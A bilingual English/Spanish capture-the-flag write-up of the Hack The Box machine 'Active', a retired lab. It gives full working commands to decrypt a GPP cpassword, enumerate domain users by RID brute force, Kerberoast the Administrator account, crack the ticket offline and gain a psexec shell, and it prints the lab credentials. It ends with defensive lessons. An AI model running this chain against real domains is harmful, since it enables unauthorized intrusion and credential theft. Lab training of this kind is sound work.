Active
Executive summary — Active is an Active Directory classic where the flaw isn't an exotic exploit but misconfiguration. The
Replicationshare (replicated SYSVOL) is anonymously readable and contains a Groups.xml with acpassword(GPP): Microsoft published the AES key, so it decrypts toSVC_TGS's credentials. With that account we enumerate the domain (RID brute) and KerberoastAdministrator— which has an SPN registered by mistake —, crack its TGS offline and log in as Domain Admin. Path: GPP → SVC_TGS → Kerberoasting → Administrator.
| Platform | Hack The Box |
| Operating system | Windows Server — Domain Controller (Active Directory) |
| Domain | active.htb |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.8.141 |
Attack map
[Anonymous SMB] Replication share (SYSVOL) → Groups.xml (GPP)
│ cpassword (public AES key, MS14-025) → gpp-decrypt
│ → SVC_TGS : GPPstillStandingStrong2k18
▼
[SVC_TGS] (user.txt) → RID brute (NetExec) → user list
│ Kerberoasting against Administrator (SPN it shouldn't have)
│ GetUserSPNs → TGS-REP etype23 → hashcat/john
▼
[ADMIN] Administrator : Ticketmaster1968 → psexec → root.txt
1. Reconnaissance (Nmap)
First we confirm what the target exposes and whether it looks like a Domain Controller:
nmap -Pn -sC -sV -p- --min-rate 10000 10.129.8.141 -oN nmap_active.txt
Flag breakdown: -Pn assumes the host is up even without a ping reply (common on HTB, which usually blocks ICMP); -sC runs the default NSE scripts for basic enumeration; -sV detects service versions; -p- scans all 65535 TCP ports; --min-rate 10000 speeds up the scan; -oN saves the output to a file. What I'm looking for is the typical DC combo: 53 (DNS), 88 (Kerberos), 389/3268/3269 (LDAP/Global Catalog), 445 (SMB) and 464 (kpasswd). If they all show up together, the target is almost certainly an Active Directory Domain Controller.
Resumen ejecutivo — Active es un clasico de Active Directory donde el fallo no es un exploit raro, sino mala configuracion. El share
Replication(SYSVOL replicado) es legible de forma anonima y contiene un Groups.xml con uncpassword(GPP): Microsoft publico la clave AES, asi que se descifra y da las credenciales deSVC_TGS. Con esa cuenta enumeramos el dominio (RID brute) y hacemos Kerberoasting contraAdministrator— que tiene un SPN registrado por error —, crackeamos su TGS offline y entramos como Domain Admin. Recorrido GPP → SVC_TGS → Kerberoasting → Administrator.
| Plataforma | Hack The Box |
| Sistema operativo | Windows Server — Domain Controller (Active Directory) |
| Dominio | active.htb |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.8.141 |
Mapa del ataque
[SMB anonimo] share Replication (SYSVOL) → Groups.xml (GPP)
│ cpassword (AES publica, MS14-025) → gpp-decrypt
│ → SVC_TGS : GPPstillStandingStrong2k18
▼
[SVC_TGS] (user.txt) → RID brute (NetExec) → lista de usuarios
│ Kerberoasting contra Administrator (SPN indebido)
│ GetUserSPNs → TGS-REP etype23 → hashcat/john
▼
[ADMIN] Administrator : Ticketmaster1968 → psexec → root.txt
1. Reconocimiento (Nmap)
Primero confirmamos qué expone el objetivo y si tiene pinta de Domain Controller:
nmap -Pn -sC -sV -p- --min-rate 10000 10.129.8.141 -oN nmap_active.txt
Desglose de las opciones: -Pn asume el host «up» aunque no responda a ping (habitual en HTB, que suele bloquear ICMP); -sC lanza los scripts NSE por defecto para una enumeración básica; -sV detecta versiones de servicio; -p- escanea los 65535 puertos TCP; --min-rate 10000 acelera el escaneo; -oN guarda la salida en un fichero. Lo que busco es la combinación típica de un DC: 53 (DNS), 88 (Kerberos), 389/3268/3269 (LDAP/Global Catalog), 445 (SMB) y 464 (kpasswd). Si aparecen todos juntos, el objetivo es casi con toda seguridad un Domain Controller de Active Directory.
2. SMB enumeration: useful shares
On a DC, SMB is often a goldmine: shares like SYSVOL, NETLOGON or, on this box, Replication give key hints about the domain setup.
smbclient -N //10.129.8.141/Replication
# recurse to: .../Policies/{...}/MACHINE/Preferences/Groups/Groups.xml
-N forces a null session (no credentials). Replication on Active is exactly that: the replicated contents of SYSVOL, holding the domain's group policies (GPOs). That's where I look for the classic Groups.xml from Group Policy Preferences, where credentials used to be stored.
3. GPP: extracting and decrypting the cpassword
Group Policy Preferences used to let admins push passwords (for example, for local users) directly from a GPO. Microsoft fixed this with MS14-025, but many environments still carry the old XML files that were never cleaned up, and the root problem remains serious: the AES key used to "encrypt" the cpassword attribute was published in MSDN documentation, so the encryption is purely cosmetic and anyone can reverse it.
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
# → SVC_TGS : GPPstillStandingStrong2k18
Groups.xmlyields plaintext domain credentials: userSVC_TGS, passwordGPPstillStandingStrong2k18.
4. Validating credentials and user.txt
With a valid domain account, the first thing to do is verify access and look for flags/files by browsing user shares:
smbclient //10.129.8.141/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'
# browse to SVC_TGS\Desktop\user.txt
Access works: we now have working domain credentials and can read user.txt from SVC_TGS's profile.
5. Enumerating domain users (RID brute with NetExec)
Before attacking Kerberos it's worth getting the real list of domain accounts. RID cycling abuses the fact that, with an authenticated session (even a low-privilege one), you can enumerate sequential SAM/LSA RIDs (relative identifiers) and resolve them to account names:
netexec smb 10.129.8.141 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --rid-brute \
| grep SidTypeUser \
| awk '{print $6}' \
| awk -F '\' '{print $2}' > users.txt
Breakdown: --rid-brute brute-forces RIDs against the DC to discover existing accounts (users, groups, machines); grep SidTypeUser filters only user-type entries (drops groups and machines); the first awk keeps the DOMAIN\user field; the second splits on the backslash and keeps just the username. The result, users.txt, is a clean list of real domain accounts, useful for spraying or for steering the next step.
6. Kerberoasting against Administrator
With a valid account and an identified DC, the logical move is to look for accounts with an SPN (Service Principal Name): the KDC hands over, to whoever requests it, a TGS encrypted with the SPN owner's password hash — and that ticket is crackable offline without touching the DC again. On Active, surprisingly, Administrator itself has a registered SPN:
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.8.141 -request
GetUserSPNs lists accounts with an SPN, and with -request it also requests the TGS for each one, printing it already in crackable hash format:
$krb5tgs$23$*Administrator$ACTIVE.HTB$...
7. Cracking the TGS offline
I save the full hash on a single line (no stray line breaks) and confirm the file has exactly that one line before cracking:
wc -l admin.hash # should read: 1 admin.hash
Option A — hashcat (mode 13100 = Kerberos 5 TGS-REP, etype 23):
hashcat -m 13100 admin.hash /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
hashcat -m 13100 admin.hash --show
Option B — John (alternative, very handy with rules):
john --format=krb5tgs admin.hash --wordlist=/usr/share/wordlists/rockyou.txt --rules
john --show admin.hash
The rockyou.txt wordlist together with the best64 rules (which mutate typical case, digits and symbols) is enough here. Cracking recovers Administrator's real password:
Administrator:Ticketmaster1968
8. Final access as Domain Admin
With Administrator's real password, the direct route to a high-privilege shell is Impacket's psexec, which creates a remote service over SMB:
impacket-psexec active.htb/Administrator:'Ticketmaster1968'@10.129.8.141
(Optional) access can also be validated by simply browsing shares as Administrator before launching psexec:
smbclient //10.129.8.141/Users -U 'Administrator%Ticketmaster1968'
cd C:\Users\Administrator\Desktop
type root.txt
On Windows, "root" equals the Administrator flag. Domain fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Recon | SMB Replication | Anonymously readable SYSVOL share | Access to Groups.xml |
| Foothold | Group Policy Preferences | Reversible cpassword via public AES key (MS14-025) | SVC_TGS credential |
| Recon | RPC / RID cycling | RID enumeration with an authenticated low-privilege session | Domain user list |
| PrivEsc | Administrator SPN | Kerberoasting → offline TGS-REP crack | Administrator's password → Domain Admin |
Lessons learned
- Never use GPP to push credentials: the cpassword is reversible (public AES key); MS14-025 removed the feature, but old XML files with secrets still circulate in many environments that never cleaned up SYSVOL.
- Review SYSVOL/Replication: don't leave GPO artefacts with secrets readable by any user, not even anonymous ones.
- RID cycling is cheap enumeration: with just one low-privilege account you get the full domain user list; don't rely on username obscurity as a security control.
- Kerberoasting: service accounts (and much worse, Administrator) with an SPN need long, random passwords — or, better, no SPN at all.
- Segregate privileges: Administrator should never have a registered SPN; if an account needs one, it should be a dedicated, scoped service account.
2. Enumeración SMB: shares útiles
En un DC, SMB suele ser una mina de información: shares como SYSVOL, NETLOGON o, en esta máquina, Replication dan pistas clave sobre la configuración del dominio.
smbclient -N //10.129.8.141/Replication
# recursivo hasta: .../Policies/{...}/MACHINE/Preferences/Groups/Groups.xml
El -N fuerza sesión nula (sin credenciales). Replication en Active es exactamente eso: el contenido replicado de SYSVOL, con las políticas de grupo (GPO) del dominio. Ahí es donde busco el clásico Groups.xml de Group Policy Preferences, donde históricamente se almacenaban credenciales.
3. GPP: extraer y descifrar el cpassword
En Group Policy Preferences, antiguamente se podían desplegar contraseñas (por ejemplo, para usuarios locales) directamente desde un GPO. Microsoft lo corrigió con MS14-025, pero muchos entornos quedan con los XML antiguos sin limpiar, y el problema de fondo sigue siendo grave: la clave AES usada para "cifrar" el atributo cpassword se publicó en la documentación de MSDN, así que el cifrado es puramente cosmético y cualquiera puede revertirlo.
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
# → SVC_TGS : GPPstillStandingStrong2k18
De
Groups.xmlsalen unas credenciales de dominio en claro: usuarioSVC_TGS, contraseñaGPPstillStandingStrong2k18.
4. Validar credenciales y user.txt
Con una cuenta de dominio válida, lo primero es verificar el acceso y buscar flags/archivos navegando por los shares de usuario:
smbclient //10.129.8.141/Users -U 'SVC_TGS%GPPstillStandingStrong2k18'
# navegar a SVC_TGS\Desktop\user.txt
El acceso funciona: ya tenemos credenciales de dominio operativas y podemos leer user.txt desde el perfil de SVC_TGS.
5. Enumerar usuarios del dominio (RID brute con NetExec)
Antes de atacar Kerberos conviene tener la lista real de cuentas del dominio. El RID cycling abusa de que, con una sesión autenticada (aunque sea de bajo privilegio), se pueden enumerar los RID (identificadores relativos) secuenciales de SAM/LSA y resolverlos a nombres de cuenta:
netexec smb 10.129.8.141 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --rid-brute \
| grep SidTypeUser \
| awk '{print $6}' \
| awk -F '\' '{print $2}' > users.txt
Desglose: --rid-brute hace fuerza bruta de RIDs contra el DC para descubrir cuentas existentes (usuarios, grupos, equipos); grep SidTypeUser filtra solo las entradas de tipo usuario (descarta grupos y máquinas); el primer awk se queda con el campo DOMINIO\usuario; el segundo separa por la barra invertida y deja solo el nombre de usuario. El resultado, users.txt, es una lista limpia de cuentas reales del dominio, útil para spraying o para dirigir el siguiente paso.
6. Kerberoasting contra Administrator
Con una cuenta válida y un DC identificado, el paso lógico es buscar cuentas con SPN (Service Principal Name): el KDC entrega, para cualquier cuenta que lo pida, un TGS cifrado con el hash de la contraseña del propietario del SPN — y ese ticket es crackeable offline sin tocar de nuevo el DC. En Active, sorprendentemente, el propio Administrator tiene un SPN registrado:
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.8.141 -request
GetUserSPNs lista las cuentas con SPN y, con -request, además solicita el TGS de cada una y lo imprime ya en formato hash listo para crackear:
$krb5tgs$23$*Administrator$ACTIVE.HTB$...
7. Crackeo offline del TGS
Guardo el hash completo en una sola línea (sin saltos de línea intermedios) y compruebo que el fichero tiene exactamente esa línea antes de lanzar el crackeo:
wc -l admin.hash # debe salir: 1 admin.hash
Opción A — hashcat (modo 13100 = Kerberos 5 TGS-REP, etype 23):
hashcat -m 13100 admin.hash /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
hashcat -m 13100 admin.hash --show
Opción B — John (alternativa, muy cómoda con reglas):
john --format=krb5tgs admin.hash --wordlist=/usr/share/wordlists/rockyou.txt --rules
john --show admin.hash
El diccionario rockyou.txt junto a las reglas best64 (que mutan mayúsculas, números y símbolos típicos) es suficiente aquí. El crackeo da la contraseña real de Administrator:
Administrator:Ticketmaster1968
8. Acceso final como Domain Admin
Con la contraseña real de Administrator, la vía directa a una shell con privilegios altos es psexec de Impacket, que crea un servicio remoto vía SMB:
impacket-psexec active.htb/Administrator:'Ticketmaster1968'@10.129.8.141
(Opcional) también se puede validar el acceso simplemente navegando shares como Administrator antes de lanzar psexec:
smbclient //10.129.8.141/Users -U 'Administrator%Ticketmaster1968'
cd C:\Users\Administrator\Desktop
type root.txt
En Windows, «root» equivale al flag de Administrator. Dominio comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Recon | SMB Replication | Share SYSVOL legible de forma anonima | Acceso a Groups.xml |
| Foothold | Group Policy Preferences | cpassword reversible con clave AES publica (MS14-025) | Credencial SVC_TGS |
| Recon | RPC / RID cycling | Enumeracion de RIDs con sesion autenticada de bajo privilegio | Lista de usuarios del dominio |
| PrivEsc | SPN de Administrator | Kerberoasting → crack offline del TGS-REP | Password de Administrator → Domain Admin |
Lecciones aprendidas
- Nunca uses GPP para desplegar credenciales: el cpassword es reversible (clave AES publica); MS14-025 elimino la funcionalidad, pero los XML antiguos con secretos siguen circulando en muchos entornos que no limpiaron SYSVOL.
- Revisa SYSVOL/Replication: no dejes artefactos de GPO con secretos legibles por cualquier usuario, ni siquiera anonimo.
- El RID cycling es enumeracion barata: con solo una cuenta de bajo privilegio se obtiene la lista completa de usuarios del dominio; no confies en la oscuridad de nombres de usuario como control de seguridad.
- Kerberoasting: las cuentas de servicio (y muchisimo peor, Administrator) con SPN deben tener contraseñas largas y aleatorias, o mejor, no tener SPN en absoluto.
- Segrega privilegios: Administrator jamas deberia tener un SPN registrado; si una cuenta necesita SPN, que sea una cuenta de servicio dedicada y acotada.